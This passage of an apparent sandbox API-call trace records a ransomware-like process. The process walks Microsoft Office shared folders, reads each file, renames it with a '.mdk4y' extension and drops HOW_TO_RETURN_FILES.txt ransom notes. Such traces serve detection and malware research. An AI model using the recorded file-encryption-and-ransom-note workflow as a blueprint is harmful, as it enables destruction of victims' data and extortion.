out: lpMultiByteStr="MSOXMLED.EXE", lpUsedDefaultChar=0x37df4c) returned 12 [0106.912] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0106.917] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818214700000) returned 1 [0106.917] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d950, lpOverlapped=0x0) returned 1 [0106.929] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818215900000) returned 1 [0106.929] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818215900000) returned 1 [0106.930] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe.mdk4y")) returned 1 [0106.931] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0106.931] AreFileApisANSI () returned 1 [0106.931] GetACP () returned 0x4e4 [0106.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOXMLMF.DLL", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSOXMLMF.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0106.931] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0106.931] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0106.931] AreFileApisANSI () returned 1 [0106.931] GetACP () returned 0x4e4 [0106.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSPTLS.DLL", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSPTLS.DLLLL", lpUsedDefaultChar=0x37df4c) returned 10 [0106.931] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0106.932] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818216200000) returned 1 [0106.932] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0106.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818221200000) returned 1 [0106.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818221200000) returned 1 [0106.991] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll.mdk4y")) returned 1 [0106.992] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0106.992] AreFileApisANSI () returned 1 [0106.992] GetACP () returned 0x4e4 [0106.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSSOAP30.DLL", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MSSOAP30.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0106.992] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0106.992] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818222200000) returned 1 [0106.993] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xac370, lpOverlapped=0x0) returned 1 [0107.022] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818225300000) returned 1 [0107.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818225300000) returned 1 [0107.029] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll.mdk4y")) returned 1 [0107.030] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0107.030] AreFileApisANSI () returned 1 [0107.030] GetACP () returned 0x4e4 [0107.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MUAUTH.CAB", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MUAUTH.CABLL", lpUsedDefaultChar=0x37df4c) returned 10 [0107.030] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0107.041] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818227000000) returned 1 [0107.041] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a5b, lpOverlapped=0x0) returned 1 [0107.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818230800000) returned 1 [0107.079] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818230900000) returned 1 [0107.079] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.mdk4y")) returned 1 [0107.080] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0107.080] AreFileApisANSI () returned 1 [0107.080] GetACP () returned 0x4e4 [0107.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MUOPTIN.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MUOPTIN.DLLL", lpUsedDefaultChar=0x37df4c) returned 11 [0107.080] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0107.081] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818231100000) returned 1 [0107.081] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6190, lpOverlapped=0x0) returned 1 [0107.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818240600000) returned 1 [0107.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818240600000) returned 1 [0107.176] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll.mdk4y")) returned 1 [0107.177] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0107.177] AreFileApisANSI () returned 1 [0107.177] GetACP () returned 0x4e4 [0107.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Oarpmany.exe", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Oarpmany.exe", lpUsedDefaultChar=0x37df4c) returned 12 [0107.177] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0107.177] AreFileApisANSI () returned 1 [0107.177] GetACP () returned 0x4e4 [0107.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ODBCMON.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ODBCMON.DLLe", lpUsedDefaultChar=0x37df4c) returned 11 [0107.177] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0107.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818240800000) returned 1 [0107.178] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7568, lpOverlapped=0x0) returned 1 [0107.233] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818246300000) returned 1 [0107.233] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818246300000) returned 1 [0107.234] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll.mdk4y")) returned 1 [0107.234] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0107.234] AreFileApisANSI () returned 1 [0107.235] GetACP () returned 0x4e4 [0107.235] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Office Setup Controller", cchWideChar=23, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Office Setup Controllerred\\MSInfo\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 23 [0107.235] AreFileApisANSI () returned 1 [0107.235] GetACP () returned 0x4e4 [0107.235] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x692108, cbMultiByte=80, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\\x01") returned 80 [0107.255] AreFileApisANSI () returned 1 [0107.255] GetACP () returned 0x4e4 [0107.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0107.255] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0107.256] AreFileApisANSI () returned 1 [0107.256] GetACP () returned 0x4e4 [0107.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0107.256] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0107.256] AreFileApisANSI () returned 1 [0107.256] GetACP () returned 0x4e4 [0107.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Access.en-us", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Access.en-us\\", lpUsedDefaultChar=0x37dec0) returned 12 [0107.256] AreFileApisANSI () returned 1 [0107.256] GetACP () returned 0x4e4 [0107.256] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=93, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\hŐh") returned 93 [0107.274] AreFileApisANSI () returned 1 [0107.274] GetACP () returned 0x4e4 [0107.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37de34) returned 1 [0107.274] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0107.274] AreFileApisANSI () returned 1 [0107.274] GetACP () returned 0x4e4 [0107.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..", lpUsedDefaultChar=0x37de34) returned 2 [0107.274] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0107.274] AreFileApisANSI () returned 1 [0107.274] GetACP () returned 0x4e4 [0107.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AccessMUI.XML", cchWideChar=13, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="AccessMUI.XML", lpUsedDefaultChar=0x37de34) returned 13 [0107.274] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0107.275] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818250500000) returned 1 [0107.275] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x545, lpOverlapped=0x0) returned 1 [0107.307] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818253700000) returned 1 [0107.307] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818253700000) returned 1 [0107.307] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.mdk4y")) returned 1 [0107.308] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0107.308] AreFileApisANSI () returned 1 [0107.308] GetACP () returned 0x4e4 [0107.308] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AccessMUISet.XML", cchWideChar=16, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="AccessMUISet.XML", lpUsedDefaultChar=0x37de34) returned 16 [0107.308] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0107.309] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818253900000) returned 1 [0107.309] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x333, lpOverlapped=0x0) returned 1 [0107.341] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818257100000) returned 1 [0107.341] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818257100000) returned 1 [0107.342] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.mdk4y")) returned 1 [0107.342] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0107.343] AreFileApisANSI () returned 1 [0107.343] GetACP () returned 0x4e4 [0107.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETUP.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SETUP.XMLSet.XML", lpUsedDefaultChar=0x37de34) returned 9 [0107.343] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0107.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818257300000) returned 1 [0107.344] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xa40, lpOverlapped=0x0) returned 1 [0107.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818259700000) returned 1 [0107.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818259700000) returned 1 [0107.368] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.mdk4y")) returned 1 [0107.368] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0107.368] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0107.368] AreFileApisANSI () returned 1 [0107.368] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 117 [0107.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0107.369] GetFileType (hFile=0x13c) returned 0x1 [0107.370] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0107.370] AreFileApisANSI () returned 1 [0107.370] GetACP () returned 0x4e4 [0107.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Excel.en-us", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Excel.en-uss", lpUsedDefaultChar=0x37dec0) returned 11 [0107.370] AreFileApisANSI () returned 1 [0107.370] GetACP () returned 0x4e4 [0107.370] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=92, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\") returned 92 [0107.371] AreFileApisANSI () returned 1 [0107.371] GetACP () returned 0x4e4 [0107.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", lpUsedDefaultChar=0x37de34) returned 1 [0107.371] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0107.371] AreFileApisANSI () returned 1 [0107.371] GetACP () returned 0x4e4 [0107.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", lpUsedDefaultChar=0x37de34) returned 2 [0107.371] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0107.371] AreFileApisANSI () returned 1 [0107.371] GetACP () returned 0x4e4 [0107.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ExcelMUI.XML", cchWideChar=12, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="ExcelMUI.XMLcrosoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\", lpUsedDefaultChar=0x37de34) returned 12 [0107.371] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0107.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818260200000) returned 1 [0107.372] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x61d, lpOverlapped=0x0) returned 1 [0107.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818260300000) returned 1 [0107.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818260300000) returned 1 [0107.373] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.mdk4y")) returned 1 [0107.374] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0107.374] AreFileApisANSI () returned 1 [0107.374] GetACP () returned 0x4e4 